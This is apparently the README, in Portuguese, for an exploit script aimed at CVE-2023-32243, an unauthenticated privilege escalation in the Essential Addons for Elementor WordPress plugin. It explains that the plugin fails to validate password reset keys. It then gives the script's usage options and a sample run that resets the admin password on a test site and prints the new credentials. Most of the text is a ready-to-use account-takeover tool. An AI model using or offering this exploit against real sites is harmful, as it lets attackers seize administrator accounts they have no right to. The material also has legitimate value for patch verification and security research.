
CVE-2023-32243 - Essential Addons for Elementor 5.4.0-5.7.1 - Escalação de Privilégios Não Autenticada
Essential Addons for Elementor 5.4.0-5.7.1 - Escalação de Privilégio Não Autenticada
O plugin não valida a chave de redefinição de senha, o que poderia permitir que atacantes não autenticados redefinam a senha de qualquer conta para qualquer coisa que desejem, apenas sabendo o e-mail ou nome de usuário relacionado, obtendo acesso a elas.
pip install -r requirements.txt
usage: exploit.py [-h] -u URL -p PASSWORD [-usr USERNAME]
options:
-h, --help show this help message and exit
-u URL, --url URL URL of the WordPress site
-p PASSWORD, --password PASSWORD
Password to set for the selected username
-usr USERNAME, --username USERNAME
Username of the user to reset if you already know it.
python3 exploit.py --url http://wordpress.lan --password "adminadmin2"
Please select a username:
1. admin
> 1
Nonce value: f010bc2ac9
All Set! You can now login using the following credentials:
Username: admin
Password: adminadmin2
Admin Url: http://wordpress.lan/wp-admin/